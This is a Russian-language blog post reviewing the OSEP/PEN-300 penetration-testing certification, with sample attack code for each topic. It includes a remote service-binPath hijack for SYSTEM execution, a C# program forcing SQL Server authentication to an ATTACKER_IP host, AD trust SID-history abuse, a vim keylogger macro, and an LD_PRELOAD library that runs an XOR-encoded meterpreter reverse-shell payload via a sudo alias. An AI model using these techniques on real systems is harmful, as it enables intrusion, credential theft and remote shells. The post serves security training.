Привет, Хабр!
Относительно недавно (в масштабах вечности) я сдал экзамен Offensive Security Experienced Penetration Tester в рамках курса PEN-300 от Offensive Security.
В этой публикации я постараюсь рассказать о том, что это за сертификация, как проходит экзамен, как устроены лабы, и какие навыки можно приобрести по окончании обучения. По тексту я буду приводить много ссылок на внешние ресурсы, освещающие темы, о которых говорится в курсе — для того, чтобы читатель смог оценить, готов ли он к началу обучения, или стоит еще покачать скил в области тестирования на проникновение.
Пошли под кат.
OSEP и правда сильно отличается от своего предшественника — сертификации OSCP, о которой не писал только ленивый, во всех аспектах: от структуры методички и устройства лабораторных до финального экзамена. Для себя я выделил пять основных тем, повторение / более глубокое изучение которых было для меня наиболее полезным из всего курса:
Разбор техник уклонения от средств защиты (AV/EDR).
Абьюз окружения среды AD для горизонтального перемещения.
Взаимодействие с инстансами MS SQL Server для развития атак на домен.
Атаки на трасты AD.
Постэксплуатация по части Linux-машин.
Чтобы сильно не спойлерить содержание методички (объем которой более 700 стр., к слову), я своими словами кратко расскажу о том, что мне понравилось в каждой обозначенной теме.
Примечание
Материал для этой статьи пролежал в черновиках почти год, поэтому допускаю, что содержание курса с тех пор могло измениться, и я не описал чего-то такого, о чем стоило бы обязательно упомянуть.
Разбор базовых техник уклонения от средств защиты
Сразу хочется отметить, что практически в каждом разделе обучения активно используется язык C#, уже давно являющийся неофициальным стандартом «де-факто» для разработки наступательного вооружения.
Причин тому несколько: во-первых, несмотря на управляемый CRL-код, в который генерятся бинари C#, из него очень удобно «дергать» ручки Windows API для триггера вредоносной нагрузки.
Во-вторых, нативная интеграция этого языка с ОС Windows позволяет выполнять собранные программы из памяти с помощью механизма Reflection.Assembly
, что очень усложняет жизнь антивирусам и прочему «нехорошему» софту в контексте пресечения нежелательной по его мнению активности (см. metasploit-execute-assembly, In-memory .NET Assembly Execution и т. д.).
В-третьих, большая фанбаза этого языка из сильных спецов по наступательной безопасности обеспечивает его самыми разными плюшками для L33T-разработки малвари.
Тут вам и:
прямые системные вызовы в обход хуков Win32 API и Native API с помощью D/Invoke;
.export
управляемого кода для запуска DLL через неуправляему среду (aka rundll32.exe) с помощью DllExport;крутые библиотеки для API-хукинга и генерации BOF-ов;
целое множество готовых коллекций и методов для запуска скомпилированных эксзешников из других средств и сред.
Тривиальный пример (не из курса) для получения «метера» без алертов от AV в 15 строк (не считая шеллкода) через мощнейший механизм GetDelegateForFunctionPointer
показывает всю гибкость этого языка, местами не уступающую этим вашим C++.
Не C# едины
Существуют и другие языки, такие как Boolang и Nim, которые так удобно использовать при проведении пентестов. Но в курсе PEN-300 об этом, к сожалению, не рассказывается.
Однако, как будет упомянуто ниже, никто не запрещает гуглить и развиваться параллельно с курсом. Пример тому — моя PoC-реализация техники Process Hollowing на Nim.
Дополнительно оговорюсь, что курс не предлагает зиродей техник для байпаса аверов, но, получив знание базовых методов и наметив примерный вектор развития, можно по традиции разресерчить интересующую вас тему более глубоко самостоятельно.
Безфайловые передвижения в AD
Тема эксплуатации Active Directory проходит красной линией через весь курс — одна из причин, почему он мне так зашел. Один простой пример крафта легитимной программы для бокового продвижения ниже.
Все знают о замечательном PsExec из состава Sysinternals, флаггинг которого со стороны AV уже считается хорошим тоном. То же самое касается и его младшего брата — psexec.py из Impacket.
Однако не все знают, что исполнить код на другой машине можно и без создания подозрительных служб с рандомным названием: просто измени binPath=
редко используемого сервиса удаленно с помощью SCM на свой любимый загрузочный кредл, and u r good2go!
Для этого будет достаточно дернуть 5 вызовов из advapi32.dll
. В синтаксисе P/Invoke это выглядит примерно так:
// Для получения хэндла SCM
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
// Для получения хэндла целевой службы
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
// Для запроса информации о текущем бинаре службы (для его последующего восстановления)
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);
// Для изменения текущего бинаря службы
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
// Для запуска службы
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
PoC
За работающим Proof-of-Concept-ом можно сходить на мой GitBook.
Таким образом можно получить RCE от имени системы на машине-жертве. Хорошие кандидаты служб, по умолчанию запускаемых вручную, изменение которых не скажется на работе сотрудников Заказчика (вендоры EDR, записываем):
XblAuthManager
– диспетчер проверки подлинности Xbox Live, даст шелл от имени LocalSystem.SensorService
– служба датчиков, даст шелл от имени LocalSystem.BTAGService
– служба звукового шлюза Bluetooth, даст шелл от имени LocalService.lfsvc
– служба географического положения, даст шелл от имени LocalSystem.
Все, что рассказывается в OSEP, тем или иным образом уже исследовано специалистами ИБ, и эта техника не исключение. Для лучшего понимания ее вооружения рекомендуется изучить проекты SharpNoPSExec и SCShell.
Взаимодействие с MS SQL
В дефолтной настройке MS SQL Server до ревизии 2019 любая доменная учетка с public-ролью может вызвать SSRF ограниченного действия для провоцирования коэрцитивной аутентификации на машине по выбору атакующего. Это широко известно в народе как UNC Path Injection.
Если в инфраструктуре нет жесткой фильтрации трафика по 445-м портам, можно пустить собак на поиск узлов, где целевая УЗ SQL потенциально может являться локальным админом, и зарелеить туда NTLM2 response от пришедшей аутентификации. Ок, ок, всем известно...
Раньше я пользовался для этих целей средствами PowerUpSQL, но в последнее время все чаще сталкиваешься с ситуациями, когда использование PowerShell сильно ограничено разными AMSI-ями и CLM-режимами. Куда менее трудозатратно, чем тестировать способы обхода этого добра в конкретной среде — скомпилировать простую программу на C# с единственным вызовом xp_dirtree
/ xp_fileexist
и дальше радоваться своей беззаботной жизни.
// SQL.exe <SERVER_IP> <ATTACKER_IP>
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
string sqlServer = args[0];
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed :(");
Environment.Exit(0);
}
SqlCommand command = new SqlCommand($@"EXEC master..xp_dirtree '\\{args[1]}\pwn\pwn.txt';", con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}
Возможно, это не самый показательный пример для демонстрации пользы от курса, т. к. эта техника давно известна широкой аудитории. Однако сам факт подхода к известным атакам с помощью кастомного кода хорошо характеризует OSEP.
Атаки на трасты AD
«Обратите внимание, что домен Active Directory не является границей безопасности; лес AD является» — Шон Меткалф (источник).
Здесь речь шла, в основном, о том, как эксплуатировать ExtraSids Hopping для захвата родительского домена из дочернего (или наоборот). В силу существования двустороннего доверия типа Parent-Child эта атака возможна «by design» и является скорее фичей, а не багом.
Атакующий крафтит Golden Ticket с помощью мимика или импакета и добавляет значение SID доверенной междоменной УЗ в свойство sIDHistory
поля PAC билета Kerberos, получая таким образом «сфорженный» Inter-Realm TGT. Далее всю работу за нас выполнит контроллер домена и запросит вполне легитимный билет у доверяющего DC, который можно использовать для доступа к ресурсам последнего.
Однако не все так просто, когда нужно атаковать другой лес AD (Forest Trust), т. к. в этом случае фильтрация SID-ов активна по умолчанию и надурить контроллер уже не получится.
Одна из интересных возможностей для атаки — проверить, не находится ли доменная среда в условиях миграции ресурсов, другими словами, не могут ли пользователи доверяемого леса обращаться к ресурсам доверяющего леса (спойлер: в таком состоянии инфраструктура организации может находиться годами). В этом случае администратор доверяющего леса отключает механизм фильтрации SID-ов с помощью netdom, и FOREST_TRANSITIVE
траст волшебным образом превращается в траст типа TREAT_AS_EXTERNAL
.
netdom.exe trust forestB.net /d:forestA.net /enablesidhistory:yes
Это открывает интересные возможности для атакующего.
Учетные записи с RID-ом выше 1000 (т. е. не встроенные УЗ) по задумке «мелкомягких» не фильтруются при междоменной аутентификации с типом траста TREAT_AS_EXTERNAL
. Это позволяет эффективно использовать классический ExtraSids Hopping, указывая значение такого SID-а в процессе изготовки тикета.
PowerView
Ищем потенциальные учетки для инжекта SID-а в группе forestB.net\Administrators
с помощью PowerView и PowerView 3.0 соответственно:
Get-NetGroupMember -GroupName "Administrators" -Domain -Domain forestB.net
Get-DomainGroupMember -Identity "Administrators" -Domain forestB.net
Другой особенностью, на которую также нужно обращать внимание — членство УЗ, SID которой мы инжектим в тикет, в глобальных доменных группах (таких как Enterprise Admins и Domain Admins). На такие УЗ механизм SID Filtering распространяется даже при доверии TREAT_AS_EXTERNAL
и атака не увенчается успехом.
Визуализация трастов
Замечательный инструмент для графического представления доверительных отношений в доменной среде с помощью yEd Graph Editor — это TrustVisualizer от @HarmJ0y или мой форк этого инструмента, переписанный на Python 3 с распознаванием расширенного списка атрибутов доверия.
Целимся в Linux
Когда речь заходит об инфраструктурном пентесте, с высокой долей вероятности специалист окажется в гетерогенной среде, где присутствуют и Linux-машины в том числе. Для демонстрации реализации бизнес-рисков, скорее всего, придется искать путь на тачки с линуксами, ведь именно на них и разворачивают гитлабы, конфлюенсы, свифты, а там уже окажутся полезными знания, касающиеся постэксплуатации соответствующей ОС.
Для меня интересным кейсом стал пример создания простого кейлоггера с помощью VIM, когда у атакующего есть низкопривелигированный доступ на Linux-машину, и ему хотелось бы разжиться кредами в плейнтексте или содержимым защищенных для чтения файлов. Для этого Offensive Security предлагают использовать такой макрос:
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
Когда атакуемый пользователь полезет редактировать файлы с sudo, содержимое сохранится в /tmp/tmp0x031337
.
Также не редкость ситуация, когда Linux-машина является частью домена AD. В этом случае полезно поохотиться за тикетами, сохраненными в формате KRB5CCACHE
(в директории /tmp
), а в случае привилегированного доступа к хосту — за файлами keytab
(обычно находятся там же).
Не стоит пренебрегать и классической техникой хуков легитимных функций с помощью LD_PRELOAD
. Например, посмотрим, какие функции вызываются в процессе запуска утилиты /usr/bin/cp
.
Функция getuid
выглядит как хороший кандидат для угона. С помощью следующей библиотеки можно форкнуть текущий процесс в момент исполнения getuid
и подгрузить свой шеллкод:
// gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
// gcc -shared -o evilgetuid.so evilgetuid.o -ldl
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33...\x33\x37";
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
if (fork() == 0) // if inside the forked process
{
setuid(0);
setgid(0);
printf("Function hooked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
perror("mprotect");
return -1;
}
int (*ret)() = (int(*)())buf;
ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}
printf("Returning from main...\n");
return -2;
}
После компиляции достаточно создать алиас для sudo, автоматически загружающий библиотеку по пути, заданному в переменной окружения, и дождаться запуска утилиты cp
пользователем-жертвой:
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"
Лабораторные и экзамен
Для каждого раздела методички существует тренировочная лаба, обычно представляющая из себя Windows-хост для разработки со всем необходимым ПО и хосты-жертвы, на которых подразумевается отработка описываемых техник.
По завершении методички, обучающемуся будет предложено выполнить 6 челленджей, каждый из которых представляет «инфраструктуру в миниатюре» (5 лаб из 6 — это доменная среда). Первые 3 лабы — затравочка для отработки изученных техник в боевых условиях, последние 3 — приближенные к экзамену задачи, над которыми придется повозиться.
На экзамене студенту будет предложена легенда вокруг компании, заказавшей проведение внешнего пентеста с проникновением во внутреннюю сеть. На борде для сдачи флагов, будет красоваться финальная цель — имя хоста, куда нужно получиться доступ для получения сокровенного флага secret.txt
.
Есть два способа успешного сдачи экзамена:
Зарутать не менее 10 машин. За каждый пруф дается по 10 баллов. Для сдачи нужно 100.
Получить доступ к файлу
secret.txt
на финальном сервере. В этом случае неважно, сколько хостов ты зарутал, экзамен все равно будет засчитан (я пошел этим путем).
На экзамене, в отличие от великого и ужасного OSCP можно пользоваться meterpreter-ом, SQLMap-ом и другими тулзами для автоэксплуатации. Запрет только на коммерческие инструменты.
Заключение
Я и правда очень доволен, что мне довелось пройти этот курс. OSEP следует классической схеме офенсивов "Try harder", и это не может не радовать, а главным достоинством курса я считаю искреннее желание авторов привить любовь обучающемуся в плане проведения собственных исследований в поиске новых техник из той или иной области тестирования на проникновение.
Комментарии (5)
bloodevil
04.07.2022 14:13Жаль, что статья актуальна только для старой версии экзамена.
snovvcrash Автор
04.07.2022 14:17+2Мы с коллегами, кто сдавал обновленную версию, пришли к выводу, что ни ход экзамена, ни его сложность не изменились ;-)
LeshaRB
А как вообще получилось сдать?
Хотел подготовиться к Java 17 , но Оркал, вообще тупо закрыли аккаунты пользователей из Беларуси и России
Ладно думаю, пойду монго поучу... Аккаунты рабочие, но сайт в некоторых местах работает через впн... И тоже ответили в поддержке возможности сдачи сейчас нет (
snovvcrash Автор
Сдавал осенью 2021 года, поэтому на тот момент ограничений не было.